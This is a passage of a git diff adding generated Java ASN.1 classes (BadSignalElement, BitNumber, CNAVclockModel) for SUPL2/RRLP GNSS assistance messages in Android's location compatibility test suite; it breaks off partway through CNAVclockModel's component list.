+ return ImmutableList.of(TAG_BadSignalElement);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new BadSignalElement from encoded stream.
+ */
+ public static BadSignalElement fromPerUnaligned(byte[] encodedBytes) {
+ BadSignalElement result = new BadSignalElement();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new BadSignalElement from encoded stream.
+ */
+ public static BadSignalElement fromPerAligned(byte[] encodedBytes) {
+ BadSignalElement result = new BadSignalElement();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private SVID badSVID_;
+ public SVID getBadSVID() {
+ return badSVID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SVID
+ */
+ public void setBadSVID(Asn1Object value) {
+ this.badSVID_ = (SVID) value;
+ }
+ public SVID setBadSVIDToNewInstance() {
+ badSVID_ = new SVID();
+ return badSVID_;
+ }
+
+ private GANSSSignals badSignalID_;
+ public GANSSSignals getBadSignalID() {
+ return badSignalID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSSignals
+ */
+ public void setBadSignalID(Asn1Object value) {
+ this.badSignalID_ = (GANSSSignals) value;
+ }
+ public GANSSSignals setBadSignalIDToNewInstance() {
+ badSignalID_ = new GANSSSignals();
+ return badSignalID_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getBadSVID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBadSVID();
+ }
+
+ @Override public void setToNewInstance() {
+ setBadSVIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SVID.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "badSVID : "
+ + getBadSVID().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getBadSignalID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBadSignalID();
+ }
+
+ @Override public void setToNewInstance() {
+ setBadSignalIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSSignals.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "badSignalID : "
+ + getBadSignalID().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("BadSignalElement = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/BitNumber.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/BitNumber.java
new file mode 100755
index 0000000..12baf8b
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/BitNumber.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class BitNumber extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_BitNumber
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public BitNumber() {
+ super();
+ setValueRange("0", "156");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_BitNumber;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_BitNumber != null) {
+ return ImmutableList.of(TAG_BitNumber);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new BitNumber from encoded stream.
+ */
+ public static BitNumber fromPerUnaligned(byte[] encodedBytes) {
+ BitNumber result = new BitNumber();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new BitNumber from encoded stream.
+ */
+ public static BitNumber fromPerAligned(byte[] encodedBytes) {
+ BitNumber result = new BitNumber();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "BitNumber = " + getInteger() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/CNAVclockModel.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/CNAVclockModel.java
new file mode 100755
index 0000000..123e4eb
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/CNAVclockModel.java
@@ -0,0 +1,2280 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class CNAVclockModel extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_CNAVclockModel
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public CNAVclockModel() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_CNAVclockModel;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_CNAVclockModel != null) {
+ return ImmutableList.of(TAG_CNAVclockModel);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new CNAVclockModel from encoded stream.
+ */
+ public static CNAVclockModel fromPerUnaligned(byte[] encodedBytes) {
+ CNAVclockModel result = new CNAVclockModel();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new CNAVclockModel from encoded stream.
+ */
+ public static CNAVclockModel fromPerAligned(byte[] encodedBytes) {
+ CNAVclockModel result = new CNAVclockModel();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private CNAVclockModel.cnavTocType cnavToc_;
+ public CNAVclockModel.cnavTocType getCnavToc() {
+ return cnavToc_;
+ }
+ /**
+ * @throws ClassCastException if value is not a CNAVclockModel.cnavTocType
+ */
+ public void setCnavToc(Asn1Object value) {
+ this.cnavToc_ = (CNAVclockModel.cnavTocType) value;
+ }
+ public CNAVclockModel.cnavTocType setCnavTocToNewInstance() {
+ cnavToc_ = new CNAVclockModel.cnavTocType();
+ return cnavToc_;
+ }
+
+ private CNAVclockModel.cnavTopType cnavTop_;
+ public CNAVclockModel.cnavTopType getCnavTop() {
+ return cnavTop_;
+ }
+ /**
+ * @throws ClassCastException if value is not a CNAVclockModel.cnavTopType
+ */
+ public void setCnavTop(Asn1Object value) {
+ this.cnavTop_ = (CNAVclockModel.cnavTopType) value;
+ }
+ public CNAVclockModel.cnavTopType setCnavTopToNewInstance() {
+ cnavTop_ = new CNAVclockModel.cnavTopType();
+ return cnavTop_;
+ }
+
+ private CNAVclockModel.cnavURA0Type cnavURA0_;
+ public CNAVclockModel.cnavURA0Type getCnavURA0() {
+ return cnavURA0_;
+ }
+ /**
+ * @throws ClassCastException if value is not a CNAVclockModel.cnavURA0Type
+ */
+ public void setCnavURA0(Asn1Object value) {
+ this.cnavURA0_ = (CNAVclockModel.cnavURA0Type) value;
+ }
+ public CNAVclockModel.cnavURA0Type setCnavURA0ToNewInstance() {
+ cnavURA0_ = new CNAVclockModel.cnavURA0Type();
+ return cnavURA0_;
+ }
+
+ private CNAVclockModel.cnavURA1Type cnavURA1_;
+ public CNAVclockModel.cnavURA1Type getCnavURA1() {
+ return cnavURA1_;
+ }
+ /**
+ * @throws ClassCastException if value is not a CNAVclockModel.cnavURA1Type
+ */
+ public void setCnavURA1(Asn1Object value) {
+ this.cnavURA1_ = (CNAVclockModel.cnavURA1Type) value;
+ }
+ public CNAVclockModel.cnavURA1Type setCnavURA1ToNewInstance() {
+ cnavURA1_ = new CNAVclockModel.cnavURA1Type();
+ return cnavURA1_;
+ }
+
+ private CNAVclockModel.cnavURA2Type cnavURA2_;
+ public CNAVclockModel.cnavURA2Type getCnavURA2() {
+ return cnavURA2_;
+ }
+ /**
+ * @throws ClassCastException if value is not a CNAVclockModel.cnavURA2Type
+ */
+ public void setCnavURA2(Asn1Object value) {
+ this.cnavURA2_ = (CNAVclockModel.cnavURA2Type) value;
+ }
+ public CNAVclockModel.cnavURA2Type setCnavURA2ToNewInstance() {
+ cnavURA2_ = new CNAVclockModel.cnavURA2Type();
+ return cnavURA2_;
+ }
+
+ private CNAVclockModel.cnavAf2Type cnavAf2_;
+ public CNAVclockModel.cnavAf2Type getCnavAf2() {
+ return cnavAf2_;
+ }
+ /**
+ * @throws ClassCastException if value is not a CNAVclockModel.cnavAf2Type
+ */
+ public void setCnavAf2(Asn1Object value) {
+ this.cnavAf2_ = (CNAVclockModel.cnavAf2Type) value;
+ }
+ public CNAVclockModel.cnavAf2Type setCnavAf2ToNewInstance() {
+ cnavAf2_ = new CNAVclockModel.cnavAf2Type();
+ return cnavAf2_;
+ }
+
+ private CNAVclockModel.cnavAf1Type cnavAf1_;
+ public CNAVclockModel.cnavAf1Type getCnavAf1() {
+ return cnavAf1_;
+ }
+ /**
+ * @throws ClassCastException if value is not a CNAVclockModel.cnavAf1Type
+ */
+ public void setCnavAf1(Asn1Object value) {
+ this.cnavAf1_ = (CNAVclockModel.cnavAf1Type) value;
+ }
+ public CNAVclockModel.cnavAf1Type setCnavAf1ToNewInstance() {
+ cnavAf1_ = new CNAVclockModel.cnavAf1Type();
+ return cnavAf1_;
+ }
+
+ private CNAVclockModel.cnavAf0Type cnavAf0_;
+ public CNAVclockModel.cnavAf0Type getCnavAf0() {
+ return cnavAf0_;
+ }
+ /**
+ * @throws ClassCastException if value is not a CNAVclockModel.cnavAf0Type
+ */
+ public void setCnavAf0(Asn1Object value) {
+ this.cnavAf0_ = (CNAVclockModel.cnavAf0Type) value;
+ }
+ public CNAVclockModel.cnavAf0Type setCnavAf0ToNewInstance() {
+ cnavAf0_ = new CNAVclockModel.cnavAf0Type();
+ return cnavAf0_;
+ }
+
+ private CNAVclockModel.cnavTgdType cnavTgd_;
+ public CNAVclockModel.cnavTgdType getCnavTgd() {
+ return cnavTgd_;
+ }
+ /**
+ * @throws ClassCastException if value is not a CNAVclockModel.cnavTgdType
+ */
+ public void setCnavTgd(Asn1Object value) {
+ this.cnavTgd_ = (CNAVclockModel.cnavTgdType) value;
+ }
+ public CNAVclockModel.cnavTgdType setCnavTgdToNewInstance() {
+ cnavTgd_ = new CNAVclockModel.cnavTgdType();
+ return cnavTgd_;
+ }
+
+ private CNAVclockModel.cnavISCl1cpType cnavISCl1cp_;
+ public CNAVclockModel.cnavISCl1cpType getCnavISCl1cp() {
+ return cnavISCl1cp_;
+ }
+ /**
+ * @throws ClassCastException if value is not a CNAVclockModel.cnavISCl1cpType
+ */
+ public void setCnavISCl1cp(Asn1Object value) {
+ this.cnavISCl1cp_ = (CNAVclockModel.cnavISCl1cpType) value;
+ }
+ public CNAVclockModel.cnavISCl1cpType setCnavISCl1cpToNewInstance() {
+ cnavISCl1cp_ = new CNAVclockModel.cnavISCl1cpType();
+ return cnavISCl1cp_;
+ }
+
+ private CNAVclockModel.cnavISCl1cdType cnavISCl1cd_;
+ public CNAVclockModel.cnavISCl1cdType getCnavISCl1cd() {
+ return cnavISCl1cd_;
+ }
+ /**
+ * @throws ClassCastException if value is not a CNAVclockModel.cnavISCl1cdType
+ */
+ public void setCnavISCl1cd(Asn1Object value) {
+ this.cnavISCl1cd_ = (CNAVclockModel.cnavISCl1cdType) value;
+ }
+ public CNAVclockModel.cnavISCl1cdType setCnavISCl1cdToNewInstance() {
+ cnavISCl1cd_ = new CNAVclockModel.cnavISCl1cdType();
+ return cnavISCl1cd_;
+ }
+
+ private CNAVclockModel.cnavISCl1caType cnavISCl1ca_;
+ public CNAVclockModel.cnavISCl1caType getCnavISCl1ca() {
+ return cnavISCl1ca_;
+ }
+ /**
+ * @throws ClassCastException if value is not a CNAVclockModel.cnavISCl1caType
+ */
+ public void setCnavISCl1ca(Asn1Object value) {
+ this.cnavISCl1ca_ = (CNAVclockModel.cnavISCl1caType) value;
+ }
+ public CNAVclockModel.cnavISCl1caType setCnavISCl1caToNewInstance() {
+ cnavISCl1ca_ = new CNAVclockModel.cnavISCl1caType();
+ return cnavISCl1ca_;
+ }
+
+ private CNAVclockModel.cnavISCl2cType cnavISCl2c_;
+ public CNAVclockModel.cnavISCl2cType getCnavISCl2c() {
+ return cnavISCl2c_;
+ }
+ /**
+ * @throws ClassCastException if value is not a CNAVclockModel.cnavISCl2cType
+ */
+ public void setCnavISCl2c(Asn1Object value) {
+ this.cnavISCl2c_ = (CNAVclockModel.cnavISCl2cType) value;
+ }
+ public CNAVclockModel.cnavISCl2cType setCnavISCl2cToNewInstance() {
+ cnavISCl2c_ = new CNAVclockModel.cnavISCl2cType();
+ return cnavISCl2c_;
+ }
+
+ private CNAVclockModel.cnavISCl5i5Type cnavISCl5i5_;
+ public CNAVclockModel.cnavISCl5i5Type getCnavISCl5i5() {
+ return cnavISCl5i5_;
+ }
+ /**
+ * @throws ClassCastException if value is not a CNAVclockModel.cnavISCl5i5Type
+ */
+ public void setCnavISCl5i5(Asn1Object value) {
+ this.cnavISCl5i5_ = (CNAVclockModel.cnavISCl5i5Type) value;
+ }
+ public CNAVclockModel.cnavISCl5i5Type setCnavISCl5i5ToNewInstance() {
+ cnavISCl5i5_ = new CNAVclockModel.cnavISCl5i5Type();
+ return cnavISCl5i5_;
+ }
+
+ private CNAVclockModel.cnavISCl5q5Type cnavISCl5q5_;
+ public CNAVclockModel.cnavISCl5q5Type getCnavISCl5q5() {
+ return cnavISCl5q5_;
+ }
+ /**
+ * @throws ClassCastException if value is not a CNAVclockModel.cnavISCl5q5Type
+ */
+ public void setCnavISCl5q5(Asn1Object value) {
+ this.cnavISCl5q5_ = (CNAVclockModel.cnavISCl5q5Type) value;
+ }
+ public CNAVclockModel.cnavISCl5q5Type setCnavISCl5q5ToNewInstance() {
+ cnavISCl5q5_ = new CNAVclockModel.cnavISCl5q5Type();
+ return cnavISCl5q5_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getCnavToc() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCnavToc();
+ }
+
+ @Override public void setToNewInstance() {
+ setCnavTocToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? CNAVclockModel.cnavTocType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "cnavToc : "
+ + getCnavToc().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getCnavTop() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCnavTop();
+ }
+
+ @Override public void setToNewInstance() {
+ setCnavTopToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? CNAVclockModel.cnavTopType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "cnavTop : "
+ + getCnavTop().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getCnavURA0() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCnavURA0();
+ }
+
+ @Override public void setToNewInstance() {
+ setCnavURA0ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? CNAVclockModel.cnavURA0Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "cnavURA0 : "
+ + getCnavURA0().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getCnavURA1() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCnavURA1();
+ }
+
+ @Override public void setToNewInstance() {
+ setCnavURA1ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? CNAVclockModel.cnavURA1Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "cnavURA1 : "
+ + getCnavURA1().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getCnavURA2() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCnavURA2();
+ }
+
+ @Override public void setToNewInstance() {
+ setCnavURA2ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? CNAVclockModel.cnavURA2Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "cnavURA2 : "
+ + getCnavURA2().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 5);
+
+ @Override public boolean isExplicitlySet() {
+ return getCnavAf2() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCnavAf2();
+ }
+
+ @Override public void setToNewInstance() {
+ setCnavAf2ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? CNAVclockModel.cnavAf2Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "cnavAf2 : "
+ + getCnavAf2().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 6);
+
+ @Override public boolean isExplicitlySet() {
+ return getCnavAf1() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCnavAf1();
+ }
+
+ @Override public void setToNewInstance() {
+ setCnavAf1ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? CNAVclockModel.cnavAf1Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "cnavAf1 : "
+ + getCnavAf1().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 7);
+
+ @Override public boolean isExplicitlySet() {
+ return getCnavAf0() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCnavAf0();
+ }
+
+ @Override public void setToNewInstance() {
+ setCnavAf0ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? CNAVclockModel.cnavAf0Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "cnavAf0 : "
+ + getCnavAf0().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 8);
+
+ @Override public boolean isExplicitlySet() {
+ return getCnavTgd() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCnavTgd();
+ }
+
+ @Override public void setToNewInstance() {
+ setCnavTgdToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? CNAVclockModel.cnavTgdType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "cnavTgd : "
+ + getCnavTgd().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 9);
+
+ @Override public boolean isExplicitlySet() {
+ return getCnavISCl1cp() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCnavISCl1cp();
+ }
+
+ @Override public void setToNewInstance() {
+ setCnavISCl1cpToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? CNAVclockModel.cnavISCl1cpType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "cnavISCl1cp : "
+ + getCnavISCl1cp().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 10);
+
+ @Override public boolean isExplicitlySet() {
+ return getCnavISCl1cd() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCnavISCl1cd();
+ }
+
+ @Override public void setToNewInstance() {
+ setCnavISCl1cdToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? CNAVclockModel.cnavISCl1cdType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "cnavISCl1cd : "
+ + getCnavISCl1cd().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 11);
+
+ @Override public boolean isExplicitlySet() {
+ return getCnavISCl1ca() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCnavISCl1ca();
+ }
+
+ @Override public void setToNewInstance() {
+ setCnavISCl1caToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? CNAVclockModel.cnavISCl1caType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
